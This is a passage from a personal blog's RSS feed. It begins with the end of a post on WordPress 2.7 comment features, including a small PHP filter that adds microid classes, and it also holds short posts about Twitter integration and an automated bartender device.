function comment_add_microid($classes) {
	$c_email=get_comment_author_email();
	$c_url=get_comment_author_url();
	if (!empty($c_email) &amp;&amp; !empty($c_url)) {
		$microid = 'microid-mailto+http:sha1:' . sha1(sha1('mailto:'.$c_email).sha1($c_url));
		$classes[] = $microid;
	}
	return $classes;
}
add_filter('comment_class','comment_add_microid');
</pre>
<p>Simple and effective. It just adds the class to the given array of classes and lets the comment display functions take care of the rest.</p>
<p>And there you have it. It&#8217;s not hard to support the new functions. And if you need to customize your theme&#8217;s comments section even more, wp_list_comments() supports a number of parameters. Most of this is not documented yet, because WordPress 2.7 is not out until November. However, the code is relatively straightforward, and anybody with a good understanding of WordPress should be able to work it out.</p>
<p>Additional: A lot of people keep asking me for a full-fledged example. Really, I recommend that you examine the comments.php file in the default theme in the 2.7 beta versions. However, the actual comments.php file I&#8217;m using on this site can be found here: <a href="http://ottodestruct.com/comments.phps">http://ottodestruct.com/comments.phps</a>, if it helps you any. It has the code I&#8217;ve described in this article, pretty much verbatim. The only additions to it are a couple of extra options on the wp_list_comments() call, such as avatar_size and reply_text.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2Fh&count=vertical&related=otto42&text=WordPress 2.7 Comments Enhancements' class='twitter-share-button' data-text='WordPress 2.7 Comments Enhancements' data-url='http://otto42.com/h' data-counturl='http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/feed/</wfw:commentRss>
		<slash:comments>403</slash:comments>
	
	</item>
		<item>
		<title>Fun with Twitter</title>
		<link>http://ottodestruct.com/blog/2008/fun-with-twitter/</link>
		<comments>http://ottodestruct.com/blog/2008/fun-with-twitter/#comments</comments>
		<pubDate>Wed, 06 Aug 2008 22:10:09 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[twitter-tools]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=343</guid>
		<description><![CDATA[Just rigged up the blog to show whatever I&#8217;m posting via Twitter as well. However, what with Twitter being a bit of a lower end sort of one-liner type of thing, I decided to make those posts style slightly differently. &#8230; <a href="http://ottodestruct.com/blog/2008/fun-with-twitter/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2008/fun-with-twitter/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>Just rigged up the blog to show whatever I&#8217;m posting via Twitter as well. However, what with Twitter being a bit of a lower end sort of one-liner type of thing, I decided to make those posts style slightly differently. So those weird blue things? Those are just my latest Twitter updates. <img src='http://ottodestruct.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Thanks to <a href="http://alexking.org/projects/wordpress">Twitter Tools</a> for making it work properly. Good WordPress plugin, still has a few odd points to it and some kinks to work out though. But it works well enough.</p>
<p>Feel free to respond more directly to anything I have to say <a href="http://twitter.com/Otto42/">on Twitter</a>.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F28&count=vertical&related=otto42&text=Fun with Twitter' class='twitter-share-button' data-text='Fun with Twitter' data-url='http://otto42.com/28' data-counturl='http://ottodestruct.com/blog/2008/fun-with-twitter/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2008/fun-with-twitter/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2008/fun-with-twitter/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/fun-with-twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
	</item>
		<item>
		<title>Virtual Bartender</title>
		<link>http://ottodestruct.com/blog/2007/virtual-bartender/</link>
		<comments>http://ottodestruct.com/blog/2007/virtual-bartender/#comments</comments>
		<pubDate>Thu, 16 Aug 2007 13:28:02 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[Thingery]]></category>
		<category><![CDATA[bartender]]></category>
		<category><![CDATA[beer]]></category>
		<category><![CDATA[fridge]]></category>
		<category><![CDATA[liquor]]></category>
		<category><![CDATA[MyFountain]]></category>
		<category><![CDATA[robot]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2007/08/16/virtual-bartender/</guid>
		<description><![CDATA[Paul found a thing called MyFountain on somebody&#8217;s website. It&#8217;s basically an automated bartender. Now, I&#8217;ve seen these before, but mostly as do-it-yourself type projects. The basic idea is that you get a bunch of liqour and beer and such, &#8230; <a href="http://ottodestruct.com/blog/2007/virtual-bartender/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2007/virtual-bartender/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p><a href="http://paulryburn.com">Paul</a> found a thing called <a href="http://digitalbeverages.com/myfountain.htm">MyFountain</a> on somebody&#8217;s website. It&#8217;s basically an automated bartender.</p>
<p>Now, I&#8217;ve seen these before, but mostly as do-it-yourself type projects. The basic idea is that you get a bunch of liqour and beer and such, hook it up to a bunch of pumps and tubes, and hook those to a computer to portion each one out properly. Simple enough. The trick, of course, is programming the computer properly. Running pumps and such is no big deal.</p>
<p>This MyFountain thing takes it to a whole other level. The cheap version (which is still $2500 or so) is a basic bartender. It can go online to get new recipes and such, and it knows what you have in the fridge so it can tell you what you&#8217;re capable of making. The advanced version is basically geared towards managing an entire bar, in that it networks with multiple units, can estimate drinking patterns and call headquarters to schedule deliveries of more beverages automatically, etc, etc. Very clever indeed.</p>
<p>Still, I think it would be a fun project to build my own unit. I&#8217;ll need a mini fridge or freezer of some design to hold the beverages, but I&#8217;ll have to be willing to cut holes in the thing for the necessary tubes to pass through. So if anybody knows of a fridge/freezer design suitable for such a project, capable of holding, say, 6-10 bottles of liquor and possibly 1 or 2 mini kegs, let me know.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F3w&count=vertical&related=otto42&text=Virtual Bartender' class='twitter-share-button' data-text='Virtual Bartender' data-url='http://otto42.com/3w' data-counturl='http://ottodestruct.com/blog/2007/virtual-bartender/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2007/virtual-bartender/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2007/virtual-bartender/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2007/virtual-bartender/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
	</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using xcache
Object Caching 2660/2802 objects using xcache

Served from: ottodestruct.com @ 2012-05-21 14:09:11 -->
